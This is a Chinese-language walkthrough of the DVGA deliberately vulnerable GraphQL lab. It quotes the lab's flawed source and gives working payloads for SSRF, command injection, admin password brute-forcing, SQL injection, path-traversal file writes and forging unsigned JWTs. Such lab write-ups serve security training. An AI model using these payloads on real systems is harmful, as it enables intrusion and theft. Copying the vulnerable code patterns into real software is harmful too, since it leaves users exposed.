目录

  1. 1. 前言
  2. 2. DDos
  3. 3. 信息泄露
    1. 3.1. GraphQL 接口
      1. 3.1.1. 接口授权绕过
    2. 3.2. 自省
    3. 3.3. 字段建议
  4. 4. ImportPaste 中的漏洞
    1. 4.1. SSRF
    2. 4.2. RCE
  5. 5. Query 中的漏洞
    1. 5.1. RCE
      1. 5.1.1. 弱口令
  6. 6. Pastes 数据操作中的漏洞
    1. 6.1. SQL 注入
  7. 7. uploadPaste 中的漏洞
    1. 7.1. 任意文件写入
  8. 8. me 中的 JWT 授权绕过

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

DVGA WriteUp

2026/5/9 Web GraphQL
  |     |   总文章阅读量:

前言

一个 GraphQL 的漏洞靶场,搭建起来后访问 /solutions 可以直接查看漏洞与部分 wp

该靶场分为初学者难度与专家难度

参考:

https://mp.weixin.qq.com/s/WoHEC50u7KACLLafZL5tww


DDos

这个没啥意思,跳过了()


信息泄露

GraphQL 接口

GraphQL 具有一个集成开发环境 GraphiQL,它允许在用户友好的界面中构建查询

路径一般如下:

"/",
"/console"
"/graphql",
"/graphiql",
"/v1/graphql",
"/v2/graphql",
"/v3/graphql",
"/graphql/console",
"/v1/graphql/console",
"/v2/graphql/console",
"/v3/graphql/console",
"/v1/graphiql",
"/v2/graphiql",
"/v3/graphiql",
"/playground",
"/query",
"/explorer",
"/altair"

该靶场下的路径为 /graphiql

接口授权绕过

进行查询时需要带上 cookie graphiql:enable


自省

可以使用 __schema 字段自省查询来查询 GraphQL 的模式

靶场源码中的 Type 实现在 views.py 中

schema = graphene.Schema(query=Query, mutation=Mutations, subscription=Subscription, directives=[ShowNetworkDirective, SkipDirective, DeprecatedDirective])
query {
  __schema {
    types {
      name
    }
  }
}

GraphQL 根操作类型 (Root Types):

  • Query: 查询的入口点。用于获取数据(例如获取特定的 Paste,搜索 Paste 等)。
  • Mutations: 变更的入口点(注意这里用了复数 Mutations 而不是默认的 Mutation)。用于修改数据(增删改)。
  • Subscription: 订阅的入口点。说明该 API 支持 WebSocket 实时通信,可能用于监听某个 Paste 的实时编辑状态或新评论。

核心业务实体 (Business Objects):

  • PasteObject: 核心实体,代表一个文本/代码片段(Paste)。里面应该包含标题、内容、语法高亮类型等字段。
  • UserObject: 用户实体。包含用户的基本信息。
  • OwnerObject: 可能是 UserObject 的一个变体,或者指代某个 Paste 的所有者信息。
  • AuditObject: 审计日志。说明系统会记录用户的操作(如谁在什么时间修改了哪个 Paste),具备一定的安全/合规追踪功能。
  • SearchResult: 搜索结果包装类。说明系统支持对 Paste 进行搜索。

数据变更操作 (Mutation Actions/Payloads):

  • 关于 Paste 的操作: CreatePaste(创建)、EditPaste(编辑)、DeletePaste(删除)。
  • 扩展操作: UploadPaste(可能支持通过文件上传创建)、ImportPaste(可能支持从第三方 URL 导入内容)。
  • 关于用户的操作: CreateUser(注册)、Login(登录)。

 输入类型 (Input Types):

  • UserInput: GraphQL 特有的输入对象(通常以 Input 结尾)。这说明在执行类似注册(CreateUser)或更新用户信息时,前端需要传入一个包含多个字段(如用户名、密码、邮箱)的结构化对象。

标量类型 (Scalars):

  • 内置标量: ID, String, Boolean, Int。
  • 自定义标量: DateTime。GraphQL 原生不支持日期时间格式,开发者自定义了这个标量来处理时间(如 Paste 的创建时间、过期时间等)。

系统内省保留类型 (Introspection Types): __Schema__Type__TypeKind__Field__InputValue__EnumValue__Directive__DirectiveLocation

query { 
  __schema { 
    queryType { name } 
    mutationType { name } 
    subscriptionType { name } 
  } 
}

使用 voyager 的内省查询 payload 导入 json 生成可视化文档


字段建议

GraphQL 具有字段和操作建议功能。例如,当开发者想要集成 GraphQL API 时,如果输入了错误的字段,GraphQL 会尝试建议附近类似的字段。

在不允许使用自省查询的情况下,可以用这个来获取字段


ImportPaste 中的漏洞

SSRF

mutation 中的 ImportPaste 实现代码如下

class ImportPaste(graphene.Mutation):
  result = graphene.String()

  class Arguments:
    host = graphene.String(required=True)
    port = graphene.Int(required=False)
    path = graphene.String(required=True)
    scheme = graphene.String(required=True)

  def mutate(self, info, host='pastebin.com', port=443, path='/', scheme="http"):
    url = security.strip_dangerous_characters(f"{scheme}://{host}:{port}{path}")
    cmd = helpers.run_cmd(f'curl --insecure {url}')

    owner = Owner.query.filter_by(name='DVGAUser').first()
    Paste.create_paste(
        title='Imported Paste from URL - {}'.format(helpers.generate_uuid()),
        content=cmd, public=False, burn=False,
        owner_id=owner.id, owner=owner, ip_addr=request.remote_addr,
        user_agent=request.headers.get('User-Agent', '')
    )

    Audit.create_audit_entry(info)

    return ImportPaste(result=cmd)

可以看到这里 scheme、http、port、path 均是可控的,我们可以直接调用 importPaste 进行 ssrf

payload:

mutation { 
  importPaste(host:"localhost", port:57130, path:"/", scheme:"http") { 
    result 
  } 
}

RCE

ImportPaste 中调用了 run_cmd 的实现:

url = security.strip_dangerous_characters(f"{scheme}://{host}:{port}{path}")
cmd = helpers.run_cmd(f'curl --insecure {url}')

def run_cmd(cmd):
  return os.popen(cmd).read()

上面我们知道 scheme、http、port、path 都是可控的,那么 url 可控,也就是说可以进行命令注入

mutation { 
  importPaste(host:"localhost", port:80, path:"/ ; uname -a", scheme:"http"){ 
    result 
  } 
}


Query 中的漏洞

RCE

从上面的 run_cmd 反向查找调用的方法,这里找到 resolve_system_diagnostics

def resolve_system_diagnostics(self, info, username, password, cmd='whoami'):
  q = User.query.filter_by(username='admin').first()
  real_passw = q.password
  res, msg = security.check_creds(username, password, real_passw)
  Audit.create_audit_entry(info)
  if res:
    output = f'{cmd}: command not found'
    if security.allowed_cmds(cmd):
      output = helpers.run_cmd(cmd)
    return output
  return msg

此处需要传入 username、password 和 cmd,帐密需要为 admin 的才行

弱口令

因为查询没限制速率,所以可以直接爆破密码

# Brute Force attack with a list of passwords:
passwordlist = ['admin123', 'pass123', 'adminadmin', '123']

for password in passwordlist:
  resp = requests.post('http://host/graphql',
  json = {
    "query":"query {\n  systemDiagnostics(username:\"admin\", password:\"{}\", cmd:\"ls\")\n}".format(password),
    "variables":None
  })

  if not 'errors' in resp.text:
    print('Password is', password)

此处爆破出的密码是 changeme

然后看一下 allowed_cmds 方法

def allowed_cmds(cmd):
  if helpers.is_level_easy():
    return True
  elif helpers.is_level_hard():
    if cmd.startswith(('echo', 'ps' 'whoami', 'tail')):
      return True
  return False

由于我们目前是 level_easy 的模式,所以不需要绕过;如果是 level_hard 模式,只需要开头执行完要求的命令后用 ; 执行下一条命令即可绕过

query { 
  systemDiagnostics(username:"admin", password:"changeme", cmd:"echo 1;whoami") 
} 


Pastes 数据操作中的漏洞

SQL 注入

pastes 处使用 result.filter 进行查询

def resolve_pastes(self, info, public=False, limit=1000, filter=None):
  query = PasteObject.get_query(info)
  Audit.create_audit_entry(info)
  result = query.filter_by(public=public, burn=False)

  if filter:
    result = result.filter(text("title = '%s' or content = '%s'" % (filter, filter)))
	
  return result.order_by(Paste.id.desc()).limit(limit)

很明显这里的 filter 作为输入参数是我们可控的,那么存在 sql 注入

payload:

query { 
  pastes(filter:"aaa ' or 1=1--") { 
      content 
      title 
  } 
}

此时查询的内容是

SELECT * FROM pastes  -- 假设表名是pastes,由SQLAlchemy自动生成查询
WHERE public = ? AND burn=0 
AND (title = 'aaa 'or 1=1--' or content = 'aaa 'or 1=1--')
ORDER BY id DESC 
LIMIT [limit_value];

-- SQLAlchemy 会将 public=public 处理为参数化查询 (?),但 text() 内部的内容由于是 Python 先拼接的字符串, 不会被参数化。


uploadPaste 中的漏洞

任意文件写入

class UploadPaste(graphene.Mutation):
  content = graphene.String()
  filename = graphene.String()

  class Arguments:
    content = graphene.String(required=True)
    filename = graphene.String(required=True)

  result = graphene.String()

  def mutate(self, info, filename, content):
    result = helpers.save_file(filename, content)
    owner = Owner.query.filter_by(name='DVGAUser').first()

    Paste.create_paste(
      title='Imported Paste from File - {}'.format(helpers.generate_uuid()),
      content=content, public=False, burn=False,
      owner_id=owner.id, owner=owner, ip_addr=request.remote_addr,
      user_agent=request.headers.get('User-Agent', '')
    )

    Audit.create_audit_entry(info)

    return UploadPaste(result=result)

很明显这里没有对文件参数做过滤,可以任意文件上传与目录遍历

mutation { 
  uploadPaste(filename:"../../../../../tmp/file.txt", content:"hi"){ 
    result 
  } 
}

me 中的 JWT 授权绕过

观察 me 操作

def resolve_me(self, info, token):
  Audit.create_audit_entry(info)

  identity = get_identity(token)

  if info.context.json == None:
    raise GraphQLError("JSON payload was not found.")

  info.context.json['identity'] = identity

  query = UserObject.get_query(info)

  result = query.filter_by(username=identity).first()
  return result

查看 get_identity 方法

from jwt import decode

def get_identity(token):
  return decode(token, options={"verify_signature":False, "verify_exp":False}).get('identity')

没有签名验证意味着可以随便伪造 jwt

payload:

query {
  me(token: "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ0eXBlIjoiYWNjZXNzIiwiaWF0IjoxNjU2ODE0OTQ4LCJuYmYiOjE2NTY4MTQ5NDgsImp0aSI6ImI5N2FmY2QwLTUzMjctNGFmNi04YTM3LTRlMjdjODY5MGE2YyIsImlkZW50aXR5IjoiYWRtaW4iLCJleHAiOjE2NTY4MjIxNDh9.-56ZQN9jikpuuhpjHjy3vLvdwbtySs0mbdaSq-9RVGg") {
    id
    username
    password
  }
}